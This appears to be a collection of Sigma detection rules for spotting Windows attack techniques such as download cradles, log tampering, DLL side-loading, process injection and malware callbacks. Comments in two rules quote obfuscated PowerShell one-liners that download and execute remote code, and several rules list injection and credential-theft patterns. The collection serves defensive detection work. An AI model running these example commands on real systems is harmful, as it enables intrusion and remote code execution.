Sigma rules: 02

title: Arbitrary Shell Command Execution Via Settingcontent-Ms
id: 24de4f3b-804c-4165-b442-5a06a2302c7e
status: test
description: The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create "shortcuts" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.
references:
    - https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39
author: Sreeman
date: 2020-03-13
modified: 2022-04-14
tags:
    - attack.t1204
    - attack.t1566.001
    - attack.execution
    - attack.initial-access
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains: '.SettingContent-ms'
    filter:
        CommandLine|contains: 'immersivecontrolpanel'
    condition: selection and not filter
falsepositives:
    - Unknown
level: medium

title: DHCP Server Loaded the CallOut DLL
id: 13fc89a9-971e-4ca6-b9dc-aa53a445bf40
status: test
description: This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded
references:
    - https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html
    - https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx
    - https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx
author: Dimitrios Slamaris
date: 2017-05-15
modified: 2022-12-25
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 1033
        Provider_Name: Microsoft-Windows-DHCP-Server
    condition: selection
falsepositives:
    - Unknown
level: high

title: Disable Windows Event Logging Via Registry
id: 2f78da12-f7c7-430b-8b19-a28f269b77a3
status: test
description: Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel
references:
    - https://twitter.com/WhichbufferArda/status/1543900539280293889
    - https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-04
modified: 2024-03-25
tags:
    - attack.defense-impairment
    - attack.t1685.001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\'
        TargetObject|endswith: '\Enabled'
        Details: 'DWORD (0x00000000)'
    filter_main_wevutil:
        Image: 'C:\Windows\system32\wevtutil.exe' # FP generated during installation of manifests via wevtutil
    filter_main_iis:
        Image|startswith: 'C:\Windows\winsxs\'
        Image|endswith: '\TiWorker.exe'  # Many different TargetObjects
    filter_main_svchost:
        Image: 'C:\Windows\System32\svchost.exe'
        TargetObject|contains:
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-FileInfoMinifilter'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-ASN1\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Kernel-AppCompat\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Runtime\Error\'
            - '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-CAPI2/Operational\'
    filter_main_trusted_installer:
        Image: C:\Windows\servicing\TrustedInstaller.exe
        TargetObject|contains: '\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Compat-Appraiser'
    filter_optional_empty: # This filter is related to aurora. Should be removed when fix is deployed. # TODO: Remove later
        Image: ''
    filter_optional_null: # This filter is related to aurora. Should be removed when fix is deployed. # TODO: Remove later
        Image: null
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Rare falsepositives may occur from legitimate administrators disabling specific event log for troubleshooting
level: high

title: DLL Execution via Rasautou.exe
id: cd3d1298-eb3b-476c-ac67-12847de55813
status: test
description: Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Rasautou/
    - https://github.com/fireeye/DueDLLigence
    - https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html
author: Julia Fomina, oscd.community
date: 2020-10-09
tags:
    - attack.stealth
    - attack.t1218
logsource:
    product: windows
    category: process_creation
    definition: Since options '-d' and '-p' were removed in Windows 10 this rule is relevant only for Windows before 10. And as Windows 7 doesn't log command line in 4688 by default, to detect this attack you need Sysmon 1 configured or KB3004375 installed for command-line auditing (https://support.microsoft.com/en-au/help/3004375/microsoft-security-advisory-update-to-improve-windows-command-line-aud)
detection:
    selection_img:
        - Image|endswith: '\rasautou.exe'
        - OriginalFileName: 'rasdlui.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' -d '
            - ' -p '
    condition: all of selection*
falsepositives:
    - Unlikely
level: medium

title: DLL Loaded From Suspicious Location Via Cmspt.EXE
id: 75e508f7-932d-4ebc-af77-269237a84ce1
status: test
description: Detects cmstp loading "dll" or "ocx" files from suspicious locations
references:
    - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/TTPs/Defense%20Evasion/T1218%20-%20Signed%20Binary%20Proxy%20Execution/T1218.003%20-%20CMSTP/Procedures.yaml
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-30
modified: 2023-02-17
tags:
    - attack.stealth
    - attack.t1218.003
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\cmstp.exe'
        ImageLoaded|contains:
            # Add more suspicious paths as you see fit in your env
            - '\PerfLogs\'
            - '\ProgramData\'
            - '\Users\'
            - '\Windows\Temp\'
            - 'C:\Temp\'
        ImageLoaded|endswith:
            - '.dll'
            - '.ocx'
    condition: selection
falsepositives:
    - Unikely
level: high

title: DotNet CLR DLL Loaded By Scripting Applications
id: 4508a70e-97ef-4300-b62b-ff27992990ea
status: test
description: Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.
references:
    - https://github.com/tyranid/DotNetToJScript
    - https://thewover.github.io/Introducing-Donut/
    - https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
    - https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008
author: omkar72, oscd.community
date: 2020-10-14
modified: 2023-02-23
tags:
    - attack.execution
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1055
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith:
            - '\cmstp.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\msxsl.exe'
            - '\regsvr32.exe'
            # - '\svchost.exe'
            - '\wmic.exe'
            - '\wscript.exe'
        ImageLoaded|endswith:
            - '\clr.dll'
            - '\mscoree.dll'
            - '\mscorlib.dll'
    condition: selection
falsepositives:
    - Unknown
level: high

title: HackTool - Impacket File Indicators
id: 03f4ca17-de95-428d-a75a-4ee78b047256
related:
    - id: 6e2a900a-ced9-4e4a-a9c2-13e706f9518a
      type: similar
status: experimental
description: Detects file creation events with filename patterns used by Impacket.
references:
    - https://thedfirreport.com/2025/05/19/another-confluence-bites-the-dust-falling-to-elpaco-team-ransomware/
    - https://github.com/fortra/impacket
author: "The DFIR Report, IrishDeath"
date: 2025-05-19
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    product: windows
    category: file_event
detection:
    selection_names_re:
        TargetFilename|re: '\\sessionresume_[a-zA-Z]{8}$' # https://github.com/fortra/impacket/blob/ead516a1209742efc7ac550707a9304ba08681e9/impacket/examples/secretsdump.py#L1925C38-L1925C51
    condition: selection_names_re
falsepositives:
    - Unknown
level: high

title: HackTool - Inveigh Execution Artefacts
id: bb09dd3e-2b78-4819-8e35-a7c1b874e449
status: test
description: Detects the presence and execution of Inveigh via dropped artefacts
references:
    - https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs
    - https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs
    - https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-24
modified: 2024-06-27
tags:
    - attack.command-and-control
    - attack.t1219.002
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|endswith:
            - '\Inveigh-Log.txt'
            - '\Inveigh-Cleartext.txt'
            - '\Inveigh-NTLMv1Users.txt'
            - '\Inveigh-NTLMv2Users.txt'
            - '\Inveigh-NTLMv1.txt'
            - '\Inveigh-NTLMv2.txt'
            - '\Inveigh-FormInput.txt'
            - '\Inveigh.dll'
            - '\Inveigh.exe'
            - '\Inveigh.ps1'
            - '\Inveigh-Relay.ps1'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Hiding User Account Via SpecialAccounts Registry Key
id: f8aebc67-a56d-4ec9-9fbe-7b0e8b7b4efd
related:
    - id: 8a58209c-7ae6-4027-afb0-307a78e4589a
      type: obsolete
    - id: 9ec9fb1b-e059-4489-9642-f270c207923d
      type: similar
status: test
description: Detects modifications to the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" where the value is set to "0" in order to hide user account from being listed on the logon screen.
references:
    - https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
    - https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md#atomic-test-3---create-hidden-user-in-registry
author: Nasreddine Bencherchali (Nextron Systems), frack113
date: 2022-07-12
modified: 2023-01-26
tags:
    - attack.stealth
    - attack.t1564.002
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject|contains: '\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList'
        Details: 'DWORD (0x00000000)'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/registry/registry_set/registry_set_special_accounts/info.yml
simulation:
    - type: atomic-red-team
      name: Create Hidden User in Registry
      technique: T1564.002
      atomic_guid: 173126b7-afe4-45eb-8680-fa9f6400431c

title: Imports Registry Key From a File
id: 73bba97f-a82d-42ce-b315-9182e76c57b1
related:
    - id: 0b80ade5-6997-4b1d-99a1-71701778ea61
      type: similar
status: test
description: Detects the import of the specified file to the registry with regedit.exe.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regedit/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
author: Oddvar Moe, Sander Wiebing, oscd.community
date: 2020-10-07
modified: 2024-03-13
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\regedit.exe'
        - OriginalFileName: 'REGEDIT.EXE'
    selection_cli:
        CommandLine|contains:
            - ' /i '
            - ' /s '
            - '.reg'
    filter_1:
        CommandLine|contains|windash:
            - ' -e '
            - ' -a '
            - ' -c '
    filter_2:
        CommandLine|re: ':[^ \\]'     # to avoid intersection with ADS rule
    condition: all of selection_* and not all of filter_*
falsepositives:
    - Legitimate import of keys
    - Evernote
level: medium

title: Install New Package Via Winget Local Manifest
id: 313d6012-51a0-4d93-8dfc-de8553239e25
status: test
description: |
    Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them.
    The manifest option enables you to install an application by passing in a YAML file directly to the client.
    Winget can be used to download and install exe, msi or msix files later.
references:
    - https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install
    - https://lolbas-project.github.io/lolbas/Binaries/Winget/
    - https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget
author: Sreeman, Florian Roth (Nextron Systems), frack113
date: 2020-04-21
modified: 2023-04-17
tags:
    - attack.execution
    - attack.t1059
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\winget.exe'
        - OriginalFileName: 'winget.exe'
    selection_install_flag:
        CommandLine|contains:
            - 'install'
            - ' add ' # https://github.com/microsoft/winget-cli/blob/02d2f93807c9851d73eaacb4d8811a76b64b7b01/src/AppInstallerCLICore/Commands/InstallCommand.h
    selection_manifest_flag:
        CommandLine|contains:
            - '-m '
            - '--manifest'
    condition: all of selection_*
falsepositives:
    - Some false positives are expected in some environment that may use this functionality to install and test their custom applications
level: medium

title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION
id: e9f55347-2928-4c06-88e5-1a7f8169942e
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
    - https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2022-11-16
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # CommandLine|re: '(?i)&&set.*(\{\d\}){2,}\\\"\s+?\-f.*&&.*cmd.*\/c' # FPs with |\/r
        # Example 1: CMD /C"sET KUR=Invoke-Expression (New-Object Net.WebClient).DownloadString&&Set MxI=C:\wINDowS\sYsWow64\winDOWspoWERSheLl\V1.0\PowerShelL.EXe ${ExEcut`IoN`cON`TExT}.\"invo`kEcoMm`A`ND\".( \"{2}{1}{0}\" -f 'pt','EscRi','INvOk' ).Invoke( ( .( \"{0}{1}\" -f'D','IR' ) ( \"{0}{1}\"-f'ENV:kU','R')).\"vAl`Ue\" )&& CMD /C%mXI%"
        # Example 2: c:\WiNDOWS\sYSTEm32\CmD.exE /C "sEt DeJLz=Invoke-Expression (New-Object Net.WebClient).DownloadString&&set yBKM=PoWERShelL -noeX ^^^&(\"{2}{0}{1}\"-f '-ItE','m','seT') ( 'V' + 'a'+ 'RiAblE:z8J' +'U2' + 'l' ) ([TYpE]( \"{2}{3}{0}{1}\"-f 'e','NT','e','NViRONM' ) ) ; ^^^& ( ( [sTrIng]${VE`Rbo`SepReFER`Ence})[1,3] + 'X'-joIN'')( ( (.('gI') ('V' + 'a' + 'RIAbLe:z8j' + 'u2' +'l' ) ).vALUe::( \"{2}{5}{0}{1}{6}{4}{3}\" -f 'IRo','Nm','GETE','ABlE','I','nv','enTVAr').Invoke(( \"{0}{1}\"-f'd','ejLz' ),( \"{1}{2}{0}\"-f'cEss','P','RO') )) )&& c:\WiNDOWS\sYSTEm32\CmD.exE /C %ybkm%"
        CommandLine|contains|all:
            - '&&set'
            - 'cmd'
            - '/c'
            - '-f'
        CommandLine|contains:
            - '{0}'
            - '{1}'
            - '{2}'
            - '{3}'
            - '{4}'
            - '{5}'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Legitimate Application Dropped Executable
id: f0540f7e-2db3-4432-b9e0-3965486744bc
status: test
description: |
    Detects LOLBINs and applications that should not legitimately drop executable or executable-equivalent files to disk.
    This may indicate malware staging, process injection, or abuse of a trusted binary for payload delivery.
references:
    - https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
    - https://dmpdump.github.io/posts/TelegramRat/
    - https://www.virustotal.com/gui/file/a0d5b30578acd1df9139e7a8a4bfc659dc2cf48f4dc0c5804b70890adeb9fa21/behavior
author: frack113, Florian Roth (Nextron Systems)
date: 2022-08-21
modified: 2026-05-11
tags:
    - attack.stealth
    - attack.t1218
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith:
            # Microsoft Office Programs Dropping Executables / Rest of the apps are covered in: c7a74c80-ba5a-486e-9974-ab9e682bc5e4
            - '\eqnedt32.exe'
            - '\wordpad.exe'
            - '\wordview.exe'
            # LOLBINs that can be used to download executables
            - '\certutil.exe'
            - '\certoc.exe'
            - '\CertReq.exe'
            # - \bitsadmin.exe (depends on the environment; comment in if you're sure that bitsadmin doesn't do that in your env)
            - '\Desktopimgdownldr.exe'
            - '\esentutl.exe'
            # - \expand.exe
            - '\mshta.exe'
            # Executables that should never drop an executable to disk (but may after a previous process injection or if it's malware that uses a legitimate name)
            - '\AcroRd32.exe'
            - '\RdrCEF.exe'
            - '\hh.exe'
            - '\finger.exe'
        TargetFilename|endswith:
            - '.com'
            - '.dll'
            - '.exe'
            - '.jar'
            - '.ocx'
            - '.pyc'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_exe/info.yml

title: Massive services deletion burst
description: Detects scenarios where an attacker attempts to delete multiples services on a host. Attacker may target services related to databases, security products or backups (Veeam, Symantec, Acronis ...).
references:
- https://unit42.paloaltonetworks.com/mallox-ransomware/
tags:
- attack.impact
- attack.t1489 # Service Stop 
- attack.defense_evasion
- attack.1562.001 # Impair Defenses: Disable or Modify Tools 
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    NewProcessName|endswith: '\sc.exe'
    CommandLine|contains: delete
  condition: selection | count(EventRecordID) by Computer > 2
  timeframe: 1m
falsepositives:
- Product uninstallation
level: high

title: Network Connection Initiated By Regsvr32.EXE
id: c7e91a02-d771-4a6d-a700-42587e0b1095
status: test
description: Detects a network connection initiated by "Regsvr32.exe"
references:
    - https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/
    - https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
author: Dmitriy Lifanov, oscd.community
date: 2019-10-25
modified: 2023-09-18
tags:
    - attack.execution
    - attack.stealth
    - attack.t1559.001
    - attack.t1218.010
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Obfuscated PowerShell OneLiner Execution
id: 44e24481-6202-4c62-9127-5a0ae8e3fe3d
status: test
description: Detects the execution of a specific OneLiner to download and execute powershell modules in memory.
references:
    - https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
    - https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
author: '@Kostastsale, TheDFIRReport'
date: 2022-05-09
modified: 2025-04-16
tags:
    - attack.execution
    - attack.defense-impairment
    - attack.t1059.001
    - attack.t1685
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        # Example: powershell -nop -noni -ep bypass -w h -c "$u=("http://127.0.0.1:1337/"|%%{(IRM $_)});&("".SubString.ToString()[67,72,64]-Join"")($u); Import-Module C:\Users\EXAMPLE\Invoke-WMIExec.ps1; Invoke-WMIExec"
        Image|endswith: '\powershell.exe'
        CommandLine|contains|all:
            - 'http://127.0.0.1'
            - '%{(IRM $_)}'
            - 'Invoke'
    condition: selection
falsepositives:
    - Unknown
level: high

title: OilRig APT Registry Persistence
id: 7bdf2a7c-3acc-4091-9581-0a77dad1c5b5
related:
    - id: 53ba33fd-3a50-4468-a5ef-c583635cfa92 # System
      type: similar
    - id: c0580559-a6bd-4ef6-b9b7-83703d98b561 # Security
      type: similar
    - id: ce6e34ca-966d-41c9-8d93-5b06c8b97a06 # ProcessCreation
      type: similar
status: test
description: Detects OilRig registry persistence as reported by Nyotron in their March 2018 report
references:
    - https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf
author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community
date: 2018-03-23
modified: 2023-03-08
tags:
    - attack.privilege-escalation
    - attack.execution
    - attack.persistence
    - attack.defense-impairment
    - attack.g0049
    - attack.t1053.005
    - attack.s0111
    - attack.t1543.003
    - attack.t1112
    - attack.command-and-control
    - attack.t1071.004
    - detection.emerging-threats
logsource:
    category: registry_event
    product: windows
detection:
    selection:
        TargetObject|endswith:
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UMe'
            - 'SOFTWARE\Microsoft\Windows\CurrentVersion\UT'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Password Change on Directory Service Restore Mode (DSRM) Account
id: 53ad8e36-f573-46bf-97e4-15ba5bf4bb51
related:
    - id: b61e87c0-50db-4b2e-8986-6a2be94b33b0
      type: similar
status: stable
description: |
    Detects potential attempts made to set the Directory Services Restore Mode administrator password.
    The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers.
    Attackers may change the password in order to obtain persistence.
references:
    - https://adsecurity.org/?p=1714
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4794
author: Thomas Patzke
date: 2017-02-19
modified: 2020-08-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1098
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4794
    condition: selection
falsepositives:
    - Initial installation of a domain controller.
level: high

title: Potential Remote Command Execution In Pod Container
id: a1b0ca4e-7835-413e-8471-3ff2b8a66be6
status: test
description: |
    Detects attempts to execute remote commands, within a Pod's container using e.g. the "kubectl exec" command.
references:
    - https://microsoft.github.io/Threat-Matrix-for-Kubernetes/techniques/Exec%20into%20container/
author: Leo Tsaousis (@laripping)
date: 2024-03-26
tags:
    - attack.t1609
    - attack.execution
logsource:
    category: application
    product: kubernetes
    service: audit
detection:
    selection:
        verb: 'create'
        objectRef.resource: 'pods'
        objectRef.subresource: 'exec'
    condition: selection
falsepositives:
    - Legitimate debugging activity. Investigate the identity performing the requests and their authorization.
level: medium

title: Potential RjvPlatform.DLL Sideloading From Default Location
id: 259dda31-b7a3-444f-b7d8-17f96e8a7d0d
status: test
description: Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn't created by default.
references:
    - https://twitter.com/0gtweet/status/1666716511988330499
author: X__Junior (Nextron Systems)
date: 2023-06-09
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image: 'C:\Windows\System32\SystemResetPlatform\SystemResetPlatform.exe'
        ImageLoaded: 'C:\$SysReset\Framework\Stack\RjvPlatform.dll'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Potential WinAPI Calls Via PowerShell Scripts
id: 03d83090-8cba-44a0-b02f-0b756a050306
related:
    - id: ba3f5c1b-6272-4119-9dbd-0bc8d21c2702
      type: similar
status: test
description: |
    Detects usage of WinAPI functions in PowerShell scripts.
    It may indicate attempts to perform actions such as process injection, token stealing, or other malicious activities that leverage Windows API calls.
    These techniques are commonly used to evade traditional file-based detections by loading and executing code directly in memory.
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
    - https://github.com/PowerShellMafia/PowerSploit/blob/1980f403ee78234eae4d93b50890d02f827a099f/CodeExecution/Invoke-Shellcode.ps1
    - https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
author: Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community
date: 2020-10-06
modified: 2026-04-29
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1106
    - attack.stealth
    - attack.t1620
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    # Note: Add more suspicious combinations in the form of different selections
    selection_injection:
        ScriptBlockText|contains|all:
            - 'VirtualAlloc'
            - 'OpenProcess'
            - 'WriteProcessMemory'
            - 'CreateRemoteThread'
    selection_token_steal:
        ScriptBlockText|contains|all:
            - 'OpenProcessToken'
            - 'LookupPrivilegeValue'
            - 'AdjustTokenPrivileges'
    selection_duplicate_token:
        ScriptBlockText|contains|all:
            - 'OpenProcessToken'
            - 'DuplicateTokenEx'
            - 'CloseHandle'
    selection_process_write_read:
        ScriptBlockText|contains|all:
            - 'WriteProcessMemory'
            - 'VirtualAlloc'
            - 'ReadProcessMemory'
            - 'VirtualFree'
    selection_local_shellcode_injection:
        ScriptBlockText|contains|all:
            - 'VirtualAlloc'
            - 'GetDelegateForFunctionPointer'
            - 'Marshal.Copy'
    condition: 1 of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/powershell/powershell_script/posh_ps_win_api_susp_access/info.yml

title: Potentially Suspicious Malware Callback Communication
id: 4b89abaa-99fe-4232-afdd-8f9aa4d20382
related:
    - id: 6d8c3d20-a5e1-494f-8412-4571d716cf5c
      type: similar
status: test
description: |
    Detects programs that connect to known malware callback ports based on statistical analysis from two different sandbox system databases
references:
    - https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo
author: Florian Roth (Nextron Systems)
date: 2017-03-19
modified: 2024-03-12
tags:
    - attack.persistence
    - attack.command-and-control
    - attack.t1571
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Initiated: 'true'
        DestinationPort:
            - 100
            - 198
            - 200
            - 243
            - 473
            - 666
            - 700
            - 743
            - 777
            - 1443
            - 1515
            - 1777
            - 1817
            - 1904
            - 1960
            - 2443
            - 2448
            - 3360
            - 3675
            - 3939
            - 4040
            - 4433
            - 4438
            - 4443
            - 4444
            - 4455
            - 5445
            - 5552
            - 5649
            - 6625
            - 7210
            - 7777
            - 8143
            - 8843
            - 9631
            - 9943
            - 10101
            - 12102
            - 12103
            - 12322
            - 13145
            - 13394
            - 13504
            - 13505
            - 13506
            - 13507
            - 14102
            - 14103
            - 14154
            - 49180
            - 65520
            - 65535
    filter_main_local_ranges:
        DestinationIp|cidr:
            - '127.0.0.0/8'
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - '::1/128'  # IPv6 loopback
            - 'fe80::/10'  # IPv6 link-local addresses
            - 'fc00::/7'  # IPv6 private addresses
    filter_optional_sys_directories:
        Image|startswith:
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high

title: PowerShell Download and Execution Cradles
id: 85b0b087-eddf-4a2b-b033-d771fa2b9775
status: test
description: Detects PowerShell download and execution cradles.
references:
    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
    - https://labs.withsecure.com/publications/fin7-target-veeam-servers
author: Florian Roth (Nextron Systems)
date: 2022-03-24
modified: 2025-07-18
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    selection_download:
        CommandLine|contains:
            - '.DownloadString('
            - '.DownloadFile('
            - 'Invoke-WebRequest '
            - 'iwr '
            - 'Invoke-RestMethod '
            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex
    selection_iex:
        CommandLine|contains:
            - ';iex $'
            - '| IEX'
            - '|IEX '
            - 'I`E`X'
            - 'I`EX'
            - 'IE`X'
            - 'iex '
            - 'IEX ('
            - 'IEX('
            - 'Invoke-Expression'
    condition: all of selection_*
falsepositives:
    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_powershell_download_iex/info.yml

title: Powershell XML Execute Command
id: 6c6c6282-7671-4fe9-a0ce-a2dcebdc342b
status: test
description: |
    Adversaries may abuse PowerShell commands and scripts for execution.
    PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell)
    Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-8---powershell-xml-requests
author: frack113
date: 2022-01-19
modified: 2023-01-19
tags:
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection_xml:
        ScriptBlockText|contains|all:
            - 'New-Object'
            - 'System.Xml.XmlDocument'
            - '.Load'
    selection_exec:
        ScriptBlockText|contains:
            - 'IEX '
            - 'Invoke-Expression '
            - 'Invoke-Command '
            - 'ICM -'
    condition: all of selection_*
falsepositives:
    - Legitimate administrative script
level: medium

title: Registry Modification Via Regini.EXE
id: 5f60740a-f57b-4e76-82a1-15b6ff2cb134
related:
    - id: 77946e79-97f1-45a2-84b4-f37b5c0d8682
      type: derived
status: test
description: Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regini/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
author: Eli Salem, Sander Wiebing, oscd.community
date: 2020-10-08
modified: 2023-02-08
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1112
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - Image|endswith: '\regini.exe'
        - OriginalFileName: 'REGINI.EXE'
    filter:
        CommandLine|re: ':[^ \\]' # Covered in 77946e79-97f1-45a2-84b4-f37b5c0d8682
    condition: selection and not filter
falsepositives:
    - Legitimate modification of keys
level: low

title: Risk for misconfiguration - use of Auth0 tenant name URL.
id: 466073e8-7171-11f0-858f-723487b9527c
status: experimental
description: |
    Detect the use of Auth0 canonical domain/tenant name url, when a custom domain is configured.
    When a custom domain is configured, there is often no reason for legitimate applications to use the default Auth0 domain.
    An attempt to access the tenant using the default Auth0 domain that may indicate a misconfiguration or an attack.
    Bypassing of a custom domain can lead to circumventing of such protections as WAF, IP filters, and advanced logging.
author: Okta
date: 2025-07-11
modified: 2025-09-02
logsource:
    product: auth0
detection:
    selection:
        data.type:
            - s  # successful login
            - f  # failed login
            - fs # failed signup
            - ss # successful signup
            - w # warning during login
